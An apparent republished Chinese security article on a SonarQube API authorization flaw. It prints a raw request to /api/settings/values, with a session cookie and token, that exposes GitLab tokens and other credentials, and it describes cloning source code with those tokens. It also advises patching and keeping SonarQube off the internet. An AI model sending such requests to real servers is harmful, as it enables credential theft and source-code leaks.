|
|
|
|
公众号矩阵

SonarQube API越权漏洞的思考

SonarQube是一款基于Web的工具,是一个开源的代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。

作者:Glocksec 来源:FreeBuf|2021-11-08 16:10

SonarQube是一款基于Web的工具,是一个开源的代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。

如果您在开发一个小项目,那可能很容易,您可以仔细检查代码以发现任何问题。SonarQube属于SAST类的代码检测工具,更侧重于质量检查,也有一些针对性的安全检测,比如SQL注入等,我用过商业版,试图利用SAST来发现和解决代码安全问题,比较失望。规则库比较弱,自定义能力差,毕竟只是更专注于质量检查。

大背景

近期,境外网站又报道了一些涉及中国多个机构和企业的代码泄漏,就是利用SonarQube的这个API越权漏洞进行的。

(1)The Chinese Ministry of Public Security

 
 

(2) BOSCH 博世

 

(3) 梅赛德斯奔驰

SonarQube API 未授权下载源代码漏洞利用过程及原理

SonarSource SonarQube由于存在安全漏洞,攻击者可利用该漏洞通过API设置值URI,发现明文的SMTP和GitLab凭证(tocken)等敏感信息泄露,可导致gitlab中项目的代码可以被任意clone下载,其实这个漏洞在2019年就被发现了。官方修复过一次,但是又出现了新的漏洞,并且一直延伸到7-8-9多个版本。

漏洞细节:

  1. 漏洞利用过程及证明: 
  2.      (1)敏感配置泄漏: 
  3.      以普通用户登陆就可以查看该AP I信息,如下: 
  4.     GET /api/settings/values HTTP/2 
  5.       Host: sonar.******.com 
  6.      Cookie:    experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6; XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56eJWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGI 
  7. Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99" 
  8. Sec-Ch-Ua-Mobile: ?0 
  9. Upgrade-Insecure-Requests: 1 
  10. User-Agent: Mozilla/5.0 (KaliLinux; ARM) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/189.0.4389.90 Safari/637.36 
  11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 
  12. Sec-Fetch-Site: none 
  13. Sec-Fetch-Mode: navigate 
  14. Sec-Fetch-User: ?1 
  15. Sec-Fetch-Dest: document 
  16. Accept-Encoding: gzip, deflate 
  17. Accept-Language: zh-CN,zh;q=0.9 
  18. Connection: close 
  19.  
  20. 官方进行过修复然后该接口应该只允许管理员可查看。 
  21. 但是很多内置了默认账号和简单弱口令账号同样可查看。 
  22.  
  23.   (2) 利用该user_token可以来从gitlab获取代码: 

看,就是sonar.gitlab.user.token , 直接可以拉代码数据。

还能通过配置文件看到数据库账号密码等。非常久远的漏洞了。

看看如何利用sonar.gitlab.user.token 拉代码:

解决办法

关注厂商官方网站,即使升级补丁。

友情提醒

看看至少有多少暴露在公网:数量还是很惊人的,这么多假装在乎代码质量的用户,不在乎安全性个代码泄露。

SonarQube 不建议对公网开放,Devops流程中如需要使用SAST请采用专业的工具,请弃用SonarQube。

鸿蒙官方战略合作共建——HarmonyOS技术社区

【责任编辑:赵宁宁 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢
24H热文
一周话题
本月获赞

订阅专栏+更多

带你轻松入门 RabbitMQ

带你轻松入门 RabbitMQ

轻松入门RabbitMQ
共4章 | loong576

54人订阅学习

数据湖与数据仓库的分析实践攻略

数据湖与数据仓库的分析实践攻略

助力现代化数据管理:数据湖与数据仓库的分析实践攻略
共3章 | 创世达人

14人订阅学习

云原生架构实践

云原生架构实践

新技术引领移动互联网进入急速赛道
共3章 | KaliArch

42人订阅学习

视频课程+更多

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO官微